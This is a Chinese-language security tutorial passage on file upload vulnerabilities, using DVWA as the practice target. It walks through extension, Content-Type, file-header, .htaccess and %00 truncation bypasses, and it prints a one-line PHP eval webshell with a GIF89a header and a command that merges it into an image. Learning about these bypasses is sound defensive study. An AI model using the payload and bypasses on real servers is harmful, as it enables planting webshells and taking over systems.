2、文件上传漏洞
文件上传漏洞产生的原因是:应用程序中存在上传功能,但是对上传的文件没有经过严格的检验,导致攻击者可以上传木马文件到服务器。
2.1、文件名过滤绕过
JS验证代码通过黑名单的方式判断文件上传的类型,我们可以上传黑名单之外的文件类型绕过文件上传验证。
文件名过滤绕过的过程如下:
(1)将木马文件1.php的扩展名改为phP,进行上传
(2)test.phP上传成功。
(3)test.phP可以正常解析。
2.2、Content-Type过滤绕过
我们以DVWA靶场中文件上传为例(安全等级为中)。我们现查看源码。
我们可以发现文件类型必须为image/jpeg和image/png才可以上传成功。假如我们上传一个1.php的一句话木马文件。
用BurpSuite这个软件抓包,前提是在火狐(因为我用的就是火狐)浏览器和Burp上开设代理,一般都是127.0.0.1,端口8080。
我们把抓到的包里面的文件类型修改成image/jpeg。
此时点击forward可以看到转发成功。
然后就可以用“菜刀”连接,进而拿到webshell。
2.3、文件头过滤绕过
只要在木马文件的头部添加相对应的文件头,这样既可以绕过检测,又不影响木马文件的正常运行。
常见的文件头: JPEG PNG GIF
(1)在木马文件中添加图片文件的文件头,即可绕过检测。
内容为:GIF89a<?php @eval($_POST[g]);?>
(2)可以通过copy命令或者edjpgcom软件制作图片木马
22.jpg是正常的图片文件。a.txt是木马的代码,其内容为一句话木马。通过以下命令将两个文件合并到2.php木马文件中。
copy 22.jpg /b +a.txt /a 2.php
将制作好的图片木马2.php上传,成功绕过过滤。
2.4、.htaccess文件上传
.htaccess文件上传是利用.htaccess文件可以对Web服务器进行配置功能,实现将扩展名为》jpg、.png等文件当作php文件解析的过程。
1、开启.htaccess的配置
1)修改配置文件httpd.conf
Options FollowSymLinks AllowOverride All
将None改成All
2)去掉mod_rewrite.so的注释,开启rewrite模块。
2、构造.htaccess文件
文件内容为AddType application/X-httpd-php.jpg。
3、构造图片木马文件(上面有将讲怎么构造图片木马文件)
4、通过文件上传功能上传.htaccess文件和图片木马文件
两个文件上传成功后访问图片木马,发现里面的PHP代码已经成功解析。
2.5、文件截断上传
当PHP版本低于5.3.4时,会把%00这个字符当作结束符,导致后面的数据直接被忽略,造成文件上传截断。
例如:上传一个c.jpg的文件用burpsuite抓包并发送到repeater中,把这个名字改为c.php jpg,选中空格点击Hex,空格是百分之20,找到20改为00。